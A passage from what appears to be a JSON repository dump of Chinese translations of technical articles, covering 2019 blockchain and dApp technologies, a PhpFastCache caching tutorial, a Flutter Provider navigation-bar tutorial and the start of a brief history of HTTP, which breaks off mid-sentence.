API**](https://github.com/ethereum/wiki/wiki/JavaScript-API) 的集成，这有助于 dApp 与以太坊区块链集成。\n\n我最喜欢的 dApp 使用区块链来达成一致，但它们也连接到快速数据库并且加载非常迅速。我最喜欢的 dApp 也不需要用户批准可能在区块链上发生的每一笔事务。良好的 dApp 用户体验的关键是选择你所遇到的区块链。例如，可以拥有一个由数据库支持的虚拟帐户，该数据库只需要定期同步到区块链，用于结算或安全，或两者兼而有之。\n\n在 2018 年初，[**Lightning Network**](https://lightning.network/) 作为比特币区块链的第二层协议发布。2019 年 12 月，[**Raiden Network**](https://raiden.network/) 在以太坊区块链上发布了 alpha 版本。两个网络都使用由 [Hashed Timelock Contracts](https://en.bitcoin.it/wiki/Hashed_Timelock_Contracts) (HTLCs) 连接的支付渠道提供点对点的离线支付。这对最终用户意味着现在几乎可以立即用您的 dApp 进行交易，而不是等待可能需要长达 10 分钟的区块链确认。\n\n#### 智能合约平台\n\n[Solidity](https://en.wikipedia.org/wiki/Solidity) 自从其可用以来已经统治了智能合约编程语言生态系统。它在以太坊虚拟机（EVM）上的智能合约编程中无处不在。但Solidity有一些严重的问题，包括[算术溢出和下溢](https://blog.sigmaprime.io/solidity-security.html)，[类型错误](https://blog.sigmaprime.io/solidity-security.html#short-vuln)，以及[冻结 3 亿美元](https://medium.com/chain-cloud-company-blog/parity-multisig-hack-again-b46771eaa838)的 [delegatecall 漏洞](https://blog.sigmaprime.io/solidity-security.html#dc-example)。所有这些漏洞都是编程语言级别存在的问题的例子。换句话说，更好的编程语言可以创建更加安全的智能合约。\n\n挑战者来了。\n\n*   [**Waves RIDE**](https://docs.wavesplatform.com/en/technical-details/ride-language.html)：一种图灵不完整（无循环或递归）的类 Haskell 式函数式程序语言，用于 Waves 区块链。它具有静态类型、延迟评估、模式匹配和用于确定是否允许事务完成的谓词表达式。图灵完整版本也在开发中。Waves 的智能合约支持目前正在主网上运行。我们应该能在 2019 年看到第一批 Waves dApp 出现。\n*  [**Plutus**](https://cardanodocs.com/technical/plutus/introduction/) ([**Cardano**](https://www.cardano.org/en/home/)) 是另一种受 Haskell 启发的函数式编程语言，它是为了 Cardano 区块链而生。Cardano 计划在 2019 年推出两个重要版本：Shelley，它提供完全的去中心化和赌注，以及 Cardano-CL，它是支持可编程智能合约的虚拟机。\n*  [**Scilla**](https://scilla-lang.org/) ([**Zilliqa**](https://zilliqa.com/)) 是一种经过正式验证的智能合约语言，其设计考虑了计算和效果的分离。这意味着状态转换的计算和通信是严格隔离的，这使得 Scilla 智能合约更容易测试和静态验证以最大限度地减少出错的可能性。Zilliqa 的主网计划于 2019 年 1 月底推出。\n*  [**ewasm**](https://github.com/ewasm/design) (Ethereum) 并不是一个智能合约语言，而是一个编译器目标，它将允许以太坊程序员用其他语言编程（如Rust，C ++，也许某一天是智能合约特定语言，如 [Simplicity](http://chrome-extension://oemmndcbldboiebfnladdacbdfmadadm/https://blockstream.com/simplicity.pdf)），并编译成以太坊风格的 WebAssembly。ewasm 是 WebAssembly 的一个更安全的子集，它是 Web 平台相对较新的低级编译目标。方便的是，wasm（以及 ewasm）模块可以在任何 JavaScript 项目中使用。对于大多数区块链代码，通常超过 75％ 的代码根本不在智能合约中 — 它在 JavaScript 中必须与智能合约进行通信。ewasm 和 JavaScript 共享绑定和模块支持的共同基础。\n\n*   **JavaScript** ([**Lisk**](https://lisk.io/)) Lisk 是一个区块链开发平台，允许开发人员使用 JavaScript 编写代码并为特定应用程序创建自定义区块链，从而避免以太网的大规模扩展问题。Lisk 允许开发人员创建自己的支链来管理所有特定应用程序的区块链操作，因此它不必与其他任何应用程序竞争主链的计算资源。目前，Lisk 没有开发智能合约编程语言或 虚拟机，区块链交易功能与比特币相似。\n\n*  [**Rust**](https://www.rust-lang.org/) (via ewasm, Cardano client) 是一种低级语言（就像 C 语言），具有 Haskell 等语言的一些安全功能。Rust 具有保证常量引用以避免意外突变，静态防止空指针异常（必须显式声明选项），只提供对当前状态有意义的操作的状态类型，分析模式匹配以保证函数完整性（无法匹配的模式将导致编译时错误）等。基本上，它就像 C++ 和 Haskell 生的一个婴儿，没有继承任何不好的东西。Rust 可以编译为 ewasm，或者用于构建像 Cardano 这样的区块链的客户端代码。用于 Lisk 的模块可以在 Rust 中构建并编译为 wasm 以在 Lisk 项目中导入。\n\n### 你可能不需要智能合约\n\n在 2019 年，你可能不需要智能合约编程语言来开发一个 dApp 产品。\n\n大部分去中心化应用开发者创建从区块链中提取数据并将其拉入可以有效查询的数据库中的节点。这个过程并不是很好玩，并且给加密应用程序增加了很多维护负担。使用 [**GraphQL**](https://graphql.org/) 可以轻松地查询区块链数据。去中心化节点汇集区块链数据，由 [**IPFS**](https://ipfs.io/) 提供支持。\n\n您可以将计算工作发送到 [**iExec**](https://iex.ec/)，甚至可以使用 [**Render Token**](https://www.rendertoken.com/) 处理强烈的图形渲染。随着所有这些加密代币飞来飞去，我们可能需要做一些[交叉链原子交换](https://arxiv.org/abs/1801.09515)来跨多个区块链交易代币。\n\n您可以使用[**可验证的声明**](https://w3c.github.io/vc-use-cases/)，分批并锚定到您选择的区块链（建议：比特币）来记录任何类型的数据，包括房地产，汽车和 NFT 等资产的所有权和转移。您可以在 [**IPFS**](https://ipfs.io/) 或 [**Storj**](https://storj.io/) 上存储这些声明，支持文件和各种数据库记录（请参阅 OrbitDB）。\n\n### 清单\n\n好吧，这有点多。让我们回顾一下你应该在 2019 年密切关注的技术：\n\n#### 加密数字货币\n\n*   [**BAT**](https://basicattentiontoken.org/)\n*   [**Theta**](https://www.thetatoken.org/)\n*   [**Waves**](https://wavesplatform.com/)\n*   [**Stellar Lumens**](https://www.stellar.org/)\n*   [**Zilliqa**](https://zilliqa.com/)\n\n#### 加密应用程序\n\n*   [**Brave Browser**](https://brave.com/)\n*   [**Sliver.tv**](https://www.sliver.tv/)\n*   [**Cent**](https://beta.cent.co/)\n\n#### 钱包 & dApp 浏览器\n\n*   [**Trust**](https://play.google.com/store/apps/details?id=com.wallet.crypto.trustapp)\n*   [**Coinbase Wallet**](https://play.google.com/store/apps/details?id=org.toshi)\n*   [**Waves Wallet**](https://wavesplatform.com/product)\n\n#### dApp 平台\n\n*   [**Ethereum**](https://www.ethereum.org/)\n*   [**Waves**](https://wavesplatform.com/)\n*   [**Stellar**](https://www.stellar.org/)\n*   [**Cardano**](https://www.cardano.org/en/home/)\n*   [**Zilliqa**](https://zilliqa.com/)\n*   [**Lisk**](https://lisk.io/)\n\n#### 智能合约语言\n\n*   [**Waves RIDE**](https://docs.wavesplatform.com/en/technical-details/ride-language.html)\n*   [**Plutus**](https://cardanodocs.com/technical/plutus/introduction/) (Cardano)\n*   [**Scilla**](https://scilla-lang.org/) (Zilliqa)\n*   [**Ewasm**](https://github.com/ewasm/design) (Ethereum, others)\n*   [**Rust**](https://www.rust-lang.org/) (via ewasm, Cardano client)\n\n#### 去中心化计算服务 (AWS for dApps)\n\n*   [**IPFS**](https://ipfs.io/)\n*   [**iExec**](https://iex.ec/)\n*   [**Storj**](https://storj.io/)\n*   [**OrbitDB**](https://github.com/orbitdb/orbit-db)\n*   [**The Graph**](https://thegraph.com/)\n*   [**Render Token**](https://www.rendertoken.com/)\n\n#### 相关技术\n\n*   [**Web3 API**](https://github.com/ethereum/wiki/wiki/JavaScript-API)\n*   [**Lightning Network**](https://lightning.network/)\n*   [**GraphQL**](https://graphql.org/)\n*   [**Cross Chain Atomic Swaps**](https://arxiv.org/abs/1801.09515)\n*   [**Verifiable Claims**](https://w3c.github.io/vc-use-cases/)\n\n* * *\n\n> 我们正在打造数字化收藏品的名声：[加密](https://docs.google.com/forms/d/e/1FAIpQLScrRX9bHdIYbQFI5L3hEgwQaDEdjo8t8glqlyObZexWjssxNQ/viewform)。\n\n* * *\n\n**Eric Elliott** 是一位分布式系统专家，也是 [Composing Software](https://leanpub.com/composingsoftware) 和  [Programming JavaScript Applications”](https://ericelliottjs.com/product/programming-javascript-applications-ebook/) 这两本书的作者。作为 [_DevAnywhere.io_](https://devanywhere.io/) 的联合创始人，他教开发人员远程工作所需的技能，并让他们拥抱工作与生活的平衡。他建立开发团队并提供建议给加密项目，并为 **_Adobe Systems,_**  **_Zumba Fitness,_** **_The Wall Street Journal,_**  **_ESPN,_**  **_BBC,_**  和包括 **_Usher, Frank Ocean, Metallica,_** 在内的顶尖艺术家贡献软件相关的经验。\n\n**他和世界上最漂亮的女人一起享受着孤傲的生活。**\n\n感谢 [JS_Cheerleader](https://medium.com/@JS_Cheerleader?source=post_page)。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/boost-your-website-performance-with-phpfastcache.md",
    "content": "> * 原文地址：[Boost Your Website Performance With PhpFastCache](https://code.tutsplus.com/tutorials/boost-your-website-performance-with-phpfastcache--cms-31031)\n> * 原文作者：[Sajal Soni](https://tutsplus.com/authors/sajal-soni?_ga=2.222559131.1693151914.1529137386-2093006918.1525313549)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/boost-your-website-performance-with-phpfastcache.md](https://github.com/xitu/gold-miner/blob/master/TODO1/boost-your-website-performance-with-phpfastcache.md)\n> * 译者：[lsvih](https://github.com/lsvih)\n> * 校对者：[吃土小2叉](https://github.com/xunge0613)\n\n# 使用 PhpFastCache 提升网站性能\n\n本文将与你一同探索 PhpFastCache 库，来为你的 PHP 应用实现缓存功能。通过缓存功能，能够提升网站的整体性能与页面加载速度。\n\n## 什么是 PhpFastCache？\n\nPhpFastCache 是一个能让你轻松在 PHP 应用中实现缓存功能的库。它的功能强大，且简单易用，提供了一些 API 以无痛实现缓存策略。\n\nPhpFastCache 不是一个纯粹的传统文件系统式缓存。它支持各种各样的文件适配器（Files Adapter），可以让你选择 Memcache、Redis、MongoDB、CouchDB 等高性能的后端服务。\n\n让我们先总览一遍最流行的适配器：\n\n*   文件系统\n*   Memcache、Redis 和 APC\n*   CouchDB 和 MongoDB\n*   Zend Disk Cache 和 Zend Memory Cache\n\n如果你用的文件适配器不在上面的列表中，也可以简单地开发一个自定义驱动，插入到系统中，同样也能高效地运行。\n\n除了基本功能外，PhpFastCache 还提供了事件机制，可以让你对预定义好的事件进行响应。例如，当某个事物从缓存中被删除时，你可以接收到这个事件，并去刷新或删除相关的数据。\n\n在下面的章节中，我们将通过一些示例来了解如何安装及配置 PhpFastCache。\n\n## 安装与配置\n\n在本节中，我们将了解如何安装及配置 PhpFastCache。下面是几种将它集成进项目的方法。\n\n如果你嫌麻烦，仅准备下载这个库的 **.zip** 或者 **.tar.gz** 文件，可以去[官方网站](https://www.phpfastcache.com/)直接下载。\n\n或者你也可以用 Composer 包的方式来安装它。这种方式更好，因为在之后的维护和升级时会更方便。如果你还没有安装 Composer，需要先去安装它。\n\n当你安装好 Composer 之后，可以用以下命令下载 PhpFastCache：\n\n```bash\n$composer require phpfastcache/phpfastcache\n```\n\n命令完成后，你会得到一个 vendor 目录，在此目录中包括了全部 PhpFastCache 所需的文件。另外，如果你缺失了 PhpFastCache 依赖的库或插件，Composer 会提醒你先去安装依赖。\n\n你需要找到 `composer.json` 文件，它类似于下面这样：\n\n```json\n{\n    \"require\": {\n        \"phpfastcache/phpfastcache\": \"^6.1\"\n    }\n}\n```\n\n无论你通过什么方式来安装的 PhpFastCache，都要在应用中 include **autoload.php** 文件。\n\n如果你用的是基于 Composer 的工作流，**autoload.php** 文件会在 **vendor** 目录中。\n\n```php\n// Include composer autoloader\nrequire '{YOUR_APP_PATH}/vendor/autoload.php';\n```\n\n另外，如果你是直接下载的 **.zip** 和 **.tar.gz**，**autoload.php** 的路径会在 **src/autoload.php**。\n\n```php\n// Include autoloader\nrequire '{YOUR_APP_PATH}/src/autoload.php';\n```\n\n只要完成上面的操作，就能开始进行缓存，享受 PhpFastCache 带来的好处了。在下一章节中，我们将以一个简单的示例来介绍如何在你的应用中使用 PhpFastCache。\n\n## 示例\n\n前面我提到过，PhpFastCache 支持多种文件适配器进行缓存。在本节中，我会以文件系统和 Redis 这两种文件适配器为例进行介绍。\n\n### 使用文件适配器进行缓存\n\n创建 **file_cache_example.php** 文件并写入下面的代码。在此我假设你使用的是 Composer workflow，因此 **vendor** 目录会与 **file_cache_example.php** 文件同级。如果你是手动安装的 PhpFastCache，需要根据实际情况修改文件结构。\n\n```php\n<?php\n/**\n * file_cache_example.php\n *\n * Demonstrates usage of phpFastCache with \"file system\" adapter\n */\n \n// Include composer autoloader\nrequire __DIR__ . '/vendor/autoload.php';\n \nuse phpFastCache\\CacheManager;\n \n// Init default configuration for \"files\" adapter\nCacheManager::setDefaultConfig([\n  \"path\" => __DIR__ . \"/cache\"\n]);\n \n// Get instance of files cache\n$objFilesCache = CacheManager::getInstance('files');\n \n$key = \"welcome_message\";\n \n// Try to fetch cached item with \"welcome_message\" key\n$CachedString = $objFilesCache->getItem($key);\n \nif (is_null($CachedString->get()))\n{\n    // The cached entry doesn't exist\n    $numberOfSeconds = 60;\n    $CachedString->set(\"This website uses PhpFastCache!\")->expiresAfter($numberOfSeconds);\n    $objFilesCache->save($CachedString);\n \n    echo \"Not in cache yet, we set it in cache and try to get it from cache!</br>\";\n    echo \"The value of welcome_message:\" . $CachedString->get();\n}\nelse\n{\n    // The cached entry exists\n    echo \"Already in cache!</br>\";\n    echo \"The value of welcome_message:\" . $CachedString->get();\n}\n```\n\n现在，我们一块一块地来理解代码。首先看到的是将 **autoload.php** 文件引入，然后导入要用到的 namespace：\n\n```php\n// Include composer autoloader\nrequire __DIR__ . '/vendor/autoload.php';\n \nuse phpFastCache\\CacheManager;\n```\n\n当你使用文件缓存的时候，最好提供一个目录路径来存放缓存系统生成的文件。下面的代码就是做的这件事：\n\n```php\n// Init default configuration for \"files\" adapter\nCacheManager::setDefaultConfig([\n  \"path\" => __DIR__ . \"/cache\"\n]);\n```\n\n当然，你需要确保 **cache** 目录存在且 web server 有写入权限。\n\n接下来，我们将缓存对象实例化，用 **welcome_message** 加载对应的缓存对象。\n\n```php\n// Get instance of files cache\n$objFilesCache = CacheManager::getInstance('files');\n \n$key = \"welcome_message\";\n \n// Try to fetch cached item with \"welcome_message\" key\n$CachedString = $objFilesCache->getItem($key);\n```\n\n如果缓存中不存在此对象，就将它以 60s 过期时间加入缓存，并从缓存中读取与展示它。如果它存在于缓存中，则直接获取：\n\n```php\nif (is_null($CachedString->get()))\n{\n    // The cached entry doesn't exist\n    $numberOfSeconds = 60;\n    $CachedString->set(\"This website uses PhpFastCache!\")->expiresAfter($numberOfSeconds);\n    $objFilesCache->save($CachedString);\n \n    echo \"Not in cache yet, we set it in cache and try to get it from cache!</br>\";\n    echo \"The value of welcome_message:\" . $CachedString->get();\n}\nelse\n{\n    // The cached entry exists\n    echo \"Already in cache!</br>\";\n    echo \"The value of welcome_message:\" . $CachedString->get();\n}\n```\n\n非常容易上手对吧！你可以试着自己去运行一下这个程序来查看结果。\n\n当你第一次运行这个程序时，应该会看到以下输出：\n\n```\nNot in cache yet, we set it in cache and try to get it from cache!\nThe value of welcome_message: This website uses PhpFastCache!\n```\n\n之后再运行的时候，输出会是这样：\n\n```\nAlready in cache!\nThe value of welcome_message: This website uses PhpFastCache!\n```\n\n现在就能随手实现文件系统缓存了。在下一章节中，我们将模仿这个例子来使用 Redis Adapter 实现缓存。\n\n### 使用 Redis Adapter 进行缓存\n\n假定你在阅读本节前已经安装好了 Redis 服务，并让它运行在 6379 默认端口上。\n\n下面进行配置。创建 **redis_cache_example.php** 文件并写入以下代码：\n\n```php\n<?php\n/**\n * redis_cache_example.php\n *\n * Demonstrates usage of phpFastCache with \"redis\" adapter\n *\n * Make sure php-redis extension is installed along with Redis server.\n */\n \n// Include composer autoloader\nrequire __DIR__ . '/vendor/autoload.php';\n \nuse phpFastCache\\CacheManager;\n \n// Init default configuration for \"redis\" adapter\nCacheManager::setDefaultConfig([\n  \"host\" => '127.0.0.1',\n  \"port\" => 6379\n]);\n \n// Get instance of files cache\n$objRedisCache = CacheManager::getInstance('redis');\n \n$key = \"welcome_message\";\n \n// Try to fetch cached item with \"welcome_message\" key\n$CachedString = $objRedisCache->getItem($key);\n \nif (is_null($CachedString->get()))\n{\n    // The cached entry doesn't exist\n    $numberOfSeconds = 60;\n    $CachedString->set(\"This website uses PhpFastCache!\")->expiresAfter($numberOfSeconds);\n    $objRedisCache->save($CachedString);\n \n    echo \"Not in cache yet, we set it in cache and try to get it from cache!</br>\";\n    echo \"The value of welcome_message:\" . $CachedString->get();\n}\nelse\n{\n    // The cached entry exists\n    echo \"Already in cache!</br>\";\n    echo \"The value of welcome_message:\" . $CachedString->get();\n}\n```\n\n如你所见，除了初始化 Redis 适配器的配置一段之外，这个文件与之前基本一样。\n\n```php\n// Init default configuration for \"redis\" adapter\nCacheManager::setDefaultConfig([\n  \"host\" => '127.0.0.1',\n  \"port\" => 6379\n]);\n```\n\n当然如果你要在非本机运行 Redis 服务，需要根据需求修改 host 与 port 的设置。\n\n运行 **redis_cache_example.php** 文件来查看它的工作原理。你也可以在 Redis CLI 中查看输出。\n\n```\n127.0.0.1:6379> KEYS *\n1) \"welcome_message\"\n```\n\n以上就是使用 Redis 适配器的全部内容。你可以去多试试其它不同的适配器和配置！\n\n## 总结\n\n本文简单介绍了 PhpFastCache 这个 PHP 中非常热门的库。在文章前半部分，我们讨论了它的基本知识以及安装和配置。在文章后半部分，我们通过几个例子来详细演示了前面提到的概念。\n\n希望你喜欢这篇文章，并将 PhpFastCache 集成到你即将开发的项目中。随时欢迎提问和讨论！\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/bottom-navigation-bar-using-provider-flutter.md",
    "content": "> * 原文地址：[Bottom Navigation Bar using Provider | Flutter](https://medium.com/flutterdevs/bottom-navigation-bar-using-provider-flutter-8b607beb2e5a)\n> * 原文作者：[Ashish Rawat](https://medium.com/@ashishrawat2911)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/bottom-navigation-bar-using-provider-flutter.md](https://github.com/xitu/gold-miner/blob/master/TODO1/bottom-navigation-bar-using-provider-flutter.md)\n> * 译者：[Xat_MassacrE](https://github.com/XatMassacrE)\n\n# 在 Flutter 中使用 Provider 构建底部导航栏\n\n![](https://cdn-images-1.medium.com/max/3840/1*kQVKvFSFhWpRPBPVBFNPfg.png)\n\n在这篇文章中，我将向你们展示在 BottomNavigationBar 中如何使用 Flutter Provider 包。\n\n#### 什么是 Provider ？\n\n`Provider` 是 Flutter 团队推荐的一种新的状态管理方案。\n\n> **注意** **`setState`** 在大多数情况下也很好用，但是你不能在什么地方都用它。\n尤其是当你的代码比较凌乱的时候，比如在 build 中有一个 `FutureBuilder` 时，使用 `setState` 毫无疑问就会出现问题。\n\n让我们来看看，如何在 BottomNavigationBar 中使用吧。\n\n## 第一步：在 pubspec.yaml 中添加依赖。\n\n```\nprovider : <latest-version>\n```\n\n## 第二步：创建一个 provider 类\n\n```\nclass BottomNavigationBarProvider with ChangeNotifier {\n  int _currentIndex = 0;\n\n  get currentIndex => _currentIndex;\n\n  set currentIndex(int index) {\n    _currentIndex = index;\n    notifyListeners();\n  }\n}\n```\n\n在这个 provider 中，我保存了 BottomNavigationBar 的当前值，当这个值在 provider 中被设置的时候，BottomNavigationBar 将会接收到当前值改变的通知并更新标签。\n\n## 第三步：使用 ChangeNotifierProvider 作为父组件把它包起来\n\n```\nhome: ChangeNotifierProvider<BottomNavigationBarProvider>(\n  child: BottomNavigationBarExample(),\n  builder: (BuildContext context) => BottomNavigationBarProvider(),\n),\n```\n\n用 `ChangeNotifierProvider` 把组件包了起来，该组件就会接收到值改变的通知了。\n\n## 第四步：为 BottomNavigationBar 创建标签\n\n```Dart\nclass Home extends StatelessWidget {\n  @override\n  Widget build(BuildContext context) {\n    return Scaffold(\n      body: Center(\n          child: Container(\n        alignment: Alignment.center,\n        height: 300,\n        width: 300,\n        child: Text(\n          \"Home\",\n          style: TextStyle(color: Colors.white, fontSize: 30),\n        ),\n        color: Colors.amber,\n      )),\n    );\n  }\n}\n```\n\n这里的底部导航栏有三个标签。\n\n## 第五步：使用 provider 创建 BottomNavigationBar\n\n```Dart\nvar currentTab = [\n  Home(),\n  Profile(),\n  Setting(),\n  ];\n///\nvar provider = Provider.of<BottomNavigationBarProvider>(context);\nreturn Scaffold(\n  body: currentTab[provider.currentIndex],\n  bottomNavigationBar: BottomNavigationBar(\n    currentIndex: provider.currentIndex,\n    onTap: (index) {\n      provider.currentIndex = index;\n    },\n    items: [\n      BottomNavigationBarItem(\n        icon: new Icon(Icons.home),\n        title: new Text('Home'),\n      ),\n      BottomNavigationBarItem(\n        icon: new Icon(Icons.person),\n        title: new Text('Profile'),\n      ),\n      BottomNavigationBarItem(\n          icon: Icon(Icons.settings), title: Text('Settings'))\n    ],\n  ),\n);\n```\n\n在这里我为屏幕创建了一个列表，并用 provider 提供的下标来改变屏幕显示的页面，同时通过点击标签来改变 privider 并更新下标。\n\n![](https://cdn-images-1.medium.com/max/2000/1*sdr1LXWBXsCS1xdHUG98jg.gif)\n\n示例如下：\n\n[**使用 Provider 来作底部导航栏的简易 app**](https://github.com/flutter-devs/Flutter-BottomBarProvider)\n\n#### 持久化 BottomNavigationBar\n\n当不使用 `setState` 来改变标签的时候 provider 工作的很好，但是如果你想要保持屏幕对应标签的状态时，就需要使用 `PageStorageBucket` 了，下面是 Tensor Programming 提供的一个示例：\n\n[**Contribute to tensor-programming/flutter_presistance_bottom_nav_tutorial development by creating an account on GitHub.**](https://github.com/tensor-programming/flutter_presistance_bottom_nav_tutorial/blob/master/lib/main.dart)\n\n---\n\n感谢阅读本文 ❤\n\n如果文章中有错误的地方，请留言指出，我们希望得到改进意见。\n\n关注我的 **[LinkedIn](https://www.linkedin.com/in/ashishrawat2911/).**\n\n关注我的 [**GitHub repositories.**](http://github.com/flutter-devs)\n\n关注我的 **[Twitter](https://www.twitter.com/ashishrawat2911/).**\n\n---\n\n![](https://cdn-images-1.medium.com/max/NaN/1*4pFzXhqqLddZhL_FY-LhtA.png)\n\n[FlutterDevs](http://flutterdevs.com/) 已经做 Flutter 相关的工作了有一段时间了。你可以关注我们的 [Facebook](https://facebook.com/flutterdevs)、[GitHub](https://github.com/flutter-devs) 和 [Twitter](https://twitter.com/TheFlutterDevs)。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/brief-history-of-http.md",
    "content": "> * 原文地址：[Brief History of HTTP](https://hpbn.co/brief-history-of-http/)\n> * 原文作者：[Ilya Grigorik](https://www.igvita.com/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/brief-history-of-http.md](https://github.com/xitu/gold-miner/blob/master/TODO1/brief-history-of-http.md)\n> * 译者：[jerryOnlyZRJ](https://github.com/jerryOnlyZRJ)\n> * 校对者：[Fengziyin1234](https://github.com/Fengziyin1234), [Park-ma](https://github.com/Park-ma)\n\n# HTTP简史\n\n## 简介\n\n超文本传输协议（HTTP）是 Internet 上最普遍和广泛采用的应用程序协议之一：它是客户端和服务器之间的通用语言，支持现代 Web。从简单的单一关键字和文档路径开始，它已不再是浏览器的专属，而且适用于几乎所有连接互联网的软件和硬件应用程序的协议。\n\n在本章中，我们将简要介绍 HTTP 协议的演变。对不同 HTTP 语义的完整讨论超出了本书的范围，但是理解 HTTP 的关键设计变更以及每个变更背后的动机将为我们讨论 HTTP 性能提供必要的背景知识，特别是本文中提及的 HTTP/2 即将进行的许多改进。\n\n## HTTP 0.9：单线协议\n\nTim Berners-Lee 最初的 HTTP 提案在设计时考虑到了 **简单性**，以帮助他支撑他的另一个新生想法：万维网。该策略似乎有效：有抱负的协议设计者，请注意\n\n1991 年，Berners-Lee 概述了新协议产生的动机并列出了几个高级设计目标：文件传输功能、请求索引搜索超文本存档的能力、格式协商以及将客户端引用到另一个服务器的能力。为了证明该理论的实际应用，他构建了一个简单的原型，它实现了所提议功能的一小部分：\n\n*   客户端请求是单个 ASCII 字符串。\n*   客户请求由回车（CRLF）终止。\n*   服务器响应是 ASCII 字符流。\n*   服务器响应是一种超文本标记语言（HTML）。\n*   文档传输完成后终止连接。\n\n其实并没有那么复杂，这些规则启用的是一个一些 Web 服务器当前依然支持的、非常简单的并且 Telnet 友好的协议：\n\n```\n$> telnet google.com 80\n\nConnected to 74.125.xxx.xxx\n\nGET /about/\n\n(hypertext response)\n(connection closed)\n```\n\n请求由单行：`GET` 方法和所请求文档的路径组成。响应是单个超文本文档 — 没有头部或任何其他元数据，只有 HTML，它真的不能再简单了。此外，由于先前的交互是预期协议的子集，因此它私下里也被叫做 HTTP/0.9。其余的，正如他们所说，是历史。\n\n从1991年这些不起眼的开始，HTTP 开始了自己的生命，并在未来几年迅速发展。让我们快速回顾一下 HTTP/0.9 的功能：\n\n*   客户端 - 服务器，请求 - 响应协议。\n*   ASCII 协议，运行在 TCP / IP 链接之上。\n*   旨在传输超文本文档（HTML）。\n*   每次请求后，服务器和客户端之间的连接都将关闭。\n\n> 小提示：现阶段流行的 Web 服务器，如 Apache 和 Nginx，仍然有一部分支持 HTTP/0.9 协议，因为它真的特别简单！如果您感到好奇，请打开 Telnet 会话并尝试通过 HTTP/0.9 访问 google.com 或您自己喜欢的网站，并检查此早期协议的行为和限制。\n\n## HTTP/1.0: 协议的快速发展和信息 RFC\n\n1991年至1995年期间是 HTML 规范的快速发展的阶段，浏览器诞生，面向消费者的公共互联网基础设施出现并快速增长。\n\n> #### 完美风暴：20 世纪 90 年代初的互联网热潮\n>\n> 在 Tim Berner-Lee 最初的浏览器原型的基础上，国家超级计算应用中心（NCSA）的一个团队决定实现他们自己的版本。这标志着，第一个流行的浏览器诞生了：NCSA Mosaic。1994 年 10 月，NCSA 团队的一名程序员 Marc Andreessen 与 Jim Clark 合作创建了 Mosaic Communications。该公司后来改名为 Netscape（网景），并于 1994 年 12 月发布了 Netscape Navigator 1.0。从那时开始，一切已经很明朗了，万维网不仅仅是一个学术热点，它必将引起 **更多的** 关注。\n>\n> 实际上，同年第一次万维网会议在瑞士日内瓦举办，以帮助指导 HTML 的发展为目的的万维网联盟（W3C）也由此诞生。在同一时期，在 IETF 内部同期建立了 HTTP 工作组（HTTP-WG），专注于改进 HTTP 协议。直到今天，他们依旧是互联网的重要团队，继续推动互联网的进化。\n>\n>最后，为了创造完美的风暴，CompuServe 、AOL 和 Prodigy 在1994-1995年开始向公众提供拨号上网服务。凭借这股互联网浪潮，Netscape 在1995年8月9日以非常成功的 IPO 创造了历史 — 